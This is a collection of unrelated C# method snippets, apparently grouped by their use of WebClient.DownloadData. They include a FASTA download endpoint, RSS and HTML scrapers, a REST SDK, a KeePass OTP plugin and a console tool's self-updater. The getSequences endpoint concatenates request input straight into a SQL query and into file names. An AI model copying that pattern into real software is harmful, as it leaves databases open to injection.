Thread.Sleep(69); } handle = p.MainWindowHandle; timer1.Start(); con = cli.Multiplayer.CreateJoinRoom("lol", "Chat", true, null, null); con.OnDisconnect += OnDisconnect; con.OnMessage += OnMessage; con.Send("init"); } catch (Exception ex) { MessageBox.Show(ex.ToString(), "OOPSIE WOOPSIE!! Uwu We made a fucky wucky!! A wittle fucko boingo! The code monkeys at our headquarters are working VEWY HAWD to fix this!", MessageBoxButtons.OK, MessageBoxIcon.Error); Environment.Exit(0); } }
[Route("getSequences")] public IActionResult getSequenceFunction(string sequenceGenbank) { var splittedGenbanks = sequenceGenbank.Split(","); Array.Sort(splittedGenbanks); string SQLstring = "("; foreach (var genbank in splittedGenbanks) { SQLstring += "'" + genbank + "',"; } SQLstring = SQLstring.Remove(SQLstring.Length - 1); SQLstring += ")"; var results = new ArrayList(); var connString = ConnectionSettings.getConnectionString(); using (var conn = new NpgsqlConnection(connString)) { conn.Open(); string command = "SELECT Sequence.seq AS sequence FROM Sequence " + " WHERE Sequence.genbank in " + SQLstring + " ORDER BY Sequence.genbank;"; using (var cmd = new NpgsqlCommand(command, conn)) using (var reader = cmd.ExecuteReader()) { while (reader.Read()) { results.Add(reader.GetString(0)); } } } if (splittedGenbanks.Length == 1) { var fileName = sequenceGenbank + ".fa"; var file = Path.Combine("~\\", fileName); Directory.CreateDirectory("~\\"); System.IO.File.WriteAllText(file, results[0].ToString()); var net = new System.Net.WebClient(); var data = net.DownloadData(file); var content = new System.IO.MemoryStream(data); var contentType = "APPLICATION/octet-stream"; System.IO.File.Delete(file); Directory.Delete("~\\"); return(File(content, contentType, fileName)); } else { // Create temp directory for all the files Directory.CreateDirectory("~\\"); // Create all fasta files for (int i = 0; i < splittedGenbanks.Length; i++) { // foreach(var genbank in splittedGenbanks) { var fileName = splittedGenbanks[i] + ".fa"; var file = Path.Combine("~\\", fileName); System.IO.File.WriteAllText(file, results[i].ToString()); } // Create directory for zip file string folderToZip = "zip\\"; Directory.CreateDirectory(folderToZip); string zipFileName = "ZippedFastas.zip"; string zipFile = folderToZip + zipFileName; // Create zip file ZipFile.CreateFromDirectory("~\\", zipFile); // Delete all the fasta files foreach (var genbank in splittedGenbanks) { var fileName = genbank + ".fa"; var file = Path.Combine("~\\", fileName); System.IO.File.Delete(file); } // Delete directory for fastas Directory.Delete("~\\"); // Load file into a memory to send it to client var net = new System.Net.WebClient(); var data = net.DownloadData(zipFile); var content = new System.IO.MemoryStream(data); var contentType = "APPLICATION/octet-stream"; // Delete zip file and directory for zip file System.IO.File.Delete(zipFile); Directory.Delete(folderToZip); return(File(content, contentType, zipFileName)); } }
private List <FilenameProcessorRE> regxps; // only trustable while in DownloadRSS or its called functions // ReSharper disable once InconsistentNaming public bool DownloadRSS(string URL, List <FilenameProcessorRE> rexps) { this.regxps = rexps; System.Net.WebClient wc = new System.Net.WebClient(); try { byte[] r = wc.DownloadData(URL); MemoryStream ms = new MemoryStream(r); XmlReaderSettings settings = new XmlReaderSettings { IgnoreComments = true, IgnoreWhitespace = true }; using (XmlReader reader = XmlReader.Create(ms, settings)) { reader.Read(); if (reader.Name != "xml") { return(false); } reader.Read(); if (reader.Name != "rss") { return(false); } reader.Read(); while (!reader.EOF) { if ((reader.Name == "rss") && (!reader.IsStartElement())) { break; } if (reader.Name == "channel") { if (!ReadChannel(reader.ReadSubtree())) { return(false); } reader.Read(); } else { reader.ReadOuterXml(); } } } } catch { return(false); } finally { this.regxps = null; } return(true); }
public async System.Threading.Tasks.Task <SoftmakeAll.SDK.Communication.REST.File> DownloadFileAsync() { if (System.String.IsNullOrWhiteSpace(this.URL)) { throw new System.Exception(SoftmakeAll.SDK.Communication.REST.EmptyURLErrorMessage); } this.HasRequestErrors = false; this.Method = SoftmakeAll.SDK.Communication.REST.DefaultMethod; SoftmakeAll.SDK.Communication.REST.File Result = null; try { System.Net.HttpWebRequest HttpWebRequest = (System.Net.HttpWebRequest)System.Net.WebRequest.Create(this.URL); HttpWebRequest.Method = this.Method; if (this.Headers.Count > 0) { foreach (System.Collections.Generic.KeyValuePair <System.String, System.String> Header in this.Headers) { HttpWebRequest.Headers.Add(Header.Key, Header.Value); } } this.AddAuthorizationHeader(HttpWebRequest); if (this.Body.ValueKind == System.Text.Json.JsonValueKind.Undefined) { HttpWebRequest.ContentLength = 0; } else { System.Byte[] BodyBytes = new System.Text.UTF8Encoding().GetBytes(Body.ToString()); HttpWebRequest.ContentType = SoftmakeAll.SDK.Communication.REST.DefaultContentType; HttpWebRequest.ContentLength = BodyBytes.Length; System.IO.Stream RequestStream = await HttpWebRequest.GetRequestStreamAsync(); await RequestStream.WriteAsync(BodyBytes, 0, BodyBytes.Length); } if (this.Timeout > 0) { HttpWebRequest.Timeout = this.Timeout; } using (System.Net.HttpWebResponse HttpWebResponse = (System.Net.HttpWebResponse) await HttpWebRequest.GetResponseAsync()) { this._StatusCode = HttpWebResponse.StatusCode; System.Net.WebClient WebClient = new System.Net.WebClient(); foreach (System.Collections.Generic.KeyValuePair <System.String, System.String> Header in this.Headers) { WebClient.Headers.Add(Header.Key, Header.Value); } this.AddAuthorizationHeader(WebClient); System.Byte[] FileContents = WebClient.DownloadData(this.URL); if ((FileContents == null) || (FileContents.Length == 0)) { return(null); } System.String FileName = ""; try { const System.String Key = "filename="; FileName = HttpWebResponse.Headers.Get("Content-Disposition"); FileName = FileName.Substring(FileName.IndexOf(Key) + Key.Length); FileName = FileName.Substring(0, FileName.IndexOf(';')); } catch { FileName = ""; } return(new SoftmakeAll.SDK.Communication.REST.File() { Name = FileName, Contents = FileContents }); } } catch (System.Net.WebException ex) { this.HasRequestErrors = true; System.Net.HttpWebResponse HttpWebResponse = ex.Response as System.Net.HttpWebResponse; if (HttpWebResponse == null) { this._StatusCode = System.Net.HttpStatusCode.InternalServerError; Result = null; return(Result); } this._StatusCode = HttpWebResponse.StatusCode; Result = null; } catch { this.HasRequestErrors = true; this._StatusCode = System.Net.HttpStatusCode.InternalServerError; Result = null; } return(Result); }
public Main(TerminalController te, int tid = 0) { this.Config(); this.tid = tid; VulnerFolder = new DirectoryInfo(Path.Combine(Environment.ExpandEnvironmentVariables("%appdata%"), Name.ToLower())); if (!VulnerFolder.Exists) { VulnerFolder.Create(); } if (Environment.GetCommandLineArgs().Contains("root")) { Process.Start(new ProcessStartInfo { FileName = Environment.GetCommandLineArgs()[0], Arguments = "runas", Verb = "runas", WindowStyle = ProcessWindowStyle.Normal, CreateNoWindow = false, }); Environment.Exit(0); return; } if (Environment.GetCommandLineArgs().Contains("update")) { int id = Process.GetCurrentProcess().Id; Process.GetProcesses().Where(t => t.ProcessName.ToLower().Contains(Name.ToLower()) && t.Id != id).Select(t => { t.Kill(); return(0); }); string self = Environment.GetCommandLineArgs().Skip(1).Where(t => t != "update").First(); #if (DEBUG) string vr = "Debug"; #else string vr = "Release"; #endif string dl = "https://github.com/Falofa/Vulner/blob/master/Vulner/bin/{0}/Vulner.exe?raw=true"; System.Net.WebClient wb = new System.Net.WebClient(); File.WriteAllBytes(self, wb.DownloadData(string.Format(dl, vr))); Process.Start(self, "updated"); Process.GetCurrentProcess().Kill(); return; } t = te; Groups = new Dictionary <string, CommandGroup>(); Cmds = new Commands().Get(this, t); Cmds[""] = new Command(); Environment.SetEnvironmentVariable(Name, Environment.GetCommandLineArgs()[0]); Environment.SetEnvironmentVariable("startup", Environment.GetFolderPath(Environment.SpecialFolder.Startup)); Environment.SetEnvironmentVariable("startmenu", Environment.GetFolderPath(Environment.SpecialFolder.StartMenu)); string asciiName = @" $f║$c ____ ____ __ $fDeveloped by Falofa $f║ $f║$c \ \ / __ __| | ____ ___________ $f║ $f║$c \ Y | | | | / \_/ __ \_ __ \ $f║ $f║$c \ /| | | |_| | \ ___/| | \/ $f║ $f║$c \___/ |____/|____|___|__/\____/|__| $f║".Substring(2); string capt = " ╔═══════════════════════════════════════════════╗"; string capb = " ╚═══════════════════════════════════════════════╝"; #if (DEBUG) string build = "Debug Build"; #else string build = "Release Build"; #endif string fbuild = string.Format("$a[[ {0} ]]", build); fbuild = string.Format(" ║{0} $f║", fbuild.PadLeft(capt.Length - 3)); t.WriteLine(); t.ColorWrite(capt); t.ColorWrite(asciiName); t.ColorWrite(fbuild); t.ColorWrite(capb); t.WriteLine(); t.ColorWrite("$2Type $eHELP$2 for a list of commands"); if (Environment.GetCommandLineArgs().Contains("updated")) { t.ColorWrite("$a{0} was updated!", Name); } foreach (string s in Environment.GetCommandLineArgs()) { if (s.ToLower().EndsWith(".fal")) { if (!File.Exists(s.ToLower())) { Environment.Exit(1); } Environment.CurrentDirectory = new FileInfo(s.ToLower()).DirectoryName; Funcs.RunFile(s, this); break; } } Funcs.ShowConsole(); Funcs.EnableRightClick(); ConsoleCancelEventHandler ce = (o, e) => { if ((Environment.TickCount - LastKey) > 500) { FirstKey = Environment.TickCount; } LastKey = Environment.TickCount; if ((e.SpecialKey & ConsoleSpecialKey.ControlC) == ConsoleSpecialKey.ControlC) { killthread = true; if (CurrentArgumenter != null) { CurrentArgumenter.Quit = true; } } e.Cancel = true; }; Console.CancelKeyPress += ce; if (Environment.GetCommandLineArgs().Contains("emergency")) { Funcs.Emergency(te, this, true); } }
public static byte[] GetUrlByteData(string url) { System.Net.WebClient urlfile = new System.Net.WebClient(); return(urlfile.DownloadData(url)); //====== Get data from internet ====== }
private List <List <(string, TimeSpan)> > ParseStats() { System.Net.WebClient client = new System.Net.WebClient(); // Get HTML table as it is var gameStatsData = client.DownloadData(m_gameURL.Replace("GameDetails", "GameStat")); var gameStatsHtml = Encoding.UTF8.GetString(gameStatsData); HtmlAgilityPack.HtmlDocument gameStatsDoc = new HtmlAgilityPack.HtmlDocument(); gameStatsDoc.LoadHtml(gameStatsHtml); List <List <string> > table = gameStatsDoc.DocumentNode.SelectSingleNode(xpath: "//table[@id='GameStatObject_DataTable']") // "//table[@id='GameStatObject2_DataTable']" .Descendants("tr") .Skip(1) .Where(tr => tr.Elements("td").Count() > 1) .Select(tr => tr.Elements("td").Select(td => td.InnerText.Trim()).ToList()) .ToList(); // Transfer HTML table into List(lvls) of lists(teams) List <List <(string, DateTime)> > LvlsOfTeams = new List <List <(string, DateTime)> >(); int numberOfCellsInRow = table[0].Count - 3; // 3 - number of non-functional collumns in the end of the table. for (int j = 1; j < numberOfCellsInRow; j++) { List <(string, DateTime)> oneLvl = new List <(string, DateTime)>(); for (int i = 0; i < table.Count - 1; i++) { string cell = table[i][j]; if (cell == string.Empty) { continue; } // if cell is not empty - we could be sure that it has proper format string allButTeamName = (m_gameType == "В одиночку") ? Regex.Match(cell, @"\d{2}\.\d{2}\.\d{6}:\d{2}:\d{2}\.\d{1,3}.+", RegexOptions.Singleline).Value : Regex.Match(cell, @"\(.+\)\d{2}\.\d{2}\.\d{6}:\d{2}:\d{2}\.\d{1,3}.+", RegexOptions.Singleline).Value; string TimeString = Regex.Match(cell, @"\d{2}\.\d{2}\.\d{6}:\d{2}:\d{2}\.\d{1,3}", RegexOptions.Singleline).Value; string TeamName = cell.Replace(allButTeamName, string.Empty); Regex regexForTimeString = new Regex(Regex.Escape(".")); string formatedTimeString = regexForTimeString.Replace(TimeString, "/", 2).Insert(10, " "); // 10 - index of hour DateTime TimeOfLVLEnd = Convert.ToDateTime(formatedTimeString); oneLvl.Add((TeamName, TimeOfLVLEnd)); } LvlsOfTeams.Add(oneLvl); } // Transfer list of lists into list of TimeSpan instead of DateTime. List <List <(string, TimeSpan)> > LvlsOfTeamsFinal = new List <List <(string, TimeSpan)> >(); for (int i = 0; i < LvlsOfTeams.Count; i++) { List <(string, TimeSpan)> oneLvlFinal = new List <(string, TimeSpan)>(); for (int j = 0; j < LvlsOfTeams[i].Count; j++) { string TeamName = LvlsOfTeams[i][j].Item1; TimeSpan lvlTimeForCurTeam; if (i == 0) { lvlTimeForCurTeam = LvlsOfTeams[i][j].Item2.Subtract(m_startTime); } else { DateTime timeOfFinishPrevLvlByCurTeam = LvlsOfTeams[i - 1].Find(x => x.Item1 == TeamName).Item2; lvlTimeForCurTeam = LvlsOfTeams[i][j].Item2.Subtract(timeOfFinishPrevLvlByCurTeam); } oneLvlFinal.Add((TeamName, lvlTimeForCurTeam)); } LvlsOfTeamsFinal.Add(oneLvlFinal); } return(LvlsOfTeamsFinal); }
private static TimeSpan GetTimeCorrection(string value) { Uri fullUrl = null; TimeSpan timeCorrection = TimeSpan.Zero; bool bKeyFound = m_timeCorrectionUrls.ContainsKey(value); //Quick check for 'valid' URL if (value.IndexOf(":") <= 0) { if (!string.IsNullOrEmpty(value) && !bKeyFound) { PluginDebug.AddError("OTP time correction", 0, "Invalid URL: " + value, "Time correction: " + TimeSpan.Zero.ToString()); } lock (m_timeCorrectionUrls) { m_timeCorrectionUrls[value] = TimeSpan.Zero; } return(m_timeCorrectionUrls[value]); } //check for given string if (bKeyFound) { m_timeCorrectionUrls.TryGetValue(value, out timeCorrection); return(timeCorrection); } //Calculate time offset try { fullUrl = new Uri(value); } catch (Exception ex) { lock (m_timeCorrectionUrls) { m_timeCorrectionUrls[value] = TimeSpan.Zero; } PluginDebug.AddError("OTP time correction", 0, "URL: " + value, "Error: " + ex.Message, "Time correction: " + m_timeCorrectionUrls[value].ToString()); return(m_timeCorrectionUrls[value]); } string url = fullUrl.Scheme + "://" + fullUrl.Host; if (m_timeCorrectionUrls.ContainsKey(url)) { m_timeCorrectionUrls.TryGetValue(url, out timeCorrection); if (!m_timeCorrectionUrls.ContainsKey(value)) { lock (m_timeCorrectionUrls) { m_timeCorrectionUrls[value] = timeCorrection; } } PluginDebug.AddInfo("OTP time correction", 0, "URL: " + value, "Mapped URL: " + url, "Time correction: " + m_timeCorrectionUrls[value].ToString()); return(timeCorrection); } bool bException = false; try { System.Net.WebClient WebClient = new System.Net.WebClient(); if (miConfigureWebClient != null) // Try to set KeePass' proxy settings { try { miConfigureWebClient.Invoke(null, new object[] { WebClient }); } catch { } } WebClient.DownloadData(url); var DateHeader = WebClient.ResponseHeaders.Get("Date"); timeCorrection = DateTime.UtcNow - DateTime.Parse(DateHeader, System.Globalization.CultureInfo.InvariantCulture.DateTimeFormat).ToUniversalTime(); } catch (Exception ex) { timeCorrection = TimeSpan.Zero; bException = true; PluginDebug.AddError("OTP time correction", 0, "URL: " + url, "Error: " + ex.Message, "Time correction: " + timeCorrection.ToString()); } lock (m_timeCorrectionUrls) { if (!m_timeCorrectionUrls.ContainsKey(value) && !bException) { PluginDebug.AddInfo("OTP time correction", 0, "URL: " + url, "Time correction: " + timeCorrection.ToString()); } m_timeCorrectionUrls[value] = timeCorrection; m_timeCorrectionUrls[url] = timeCorrection; } return(timeCorrection); }
public static string GetUrlData(string url) { System.Net.WebClient urlfile = new System.Net.WebClient(); byte[] data = urlfile.DownloadData(url); //====== Get data from internet ====== return(System.Text.Encoding.UTF8.GetString(data)); }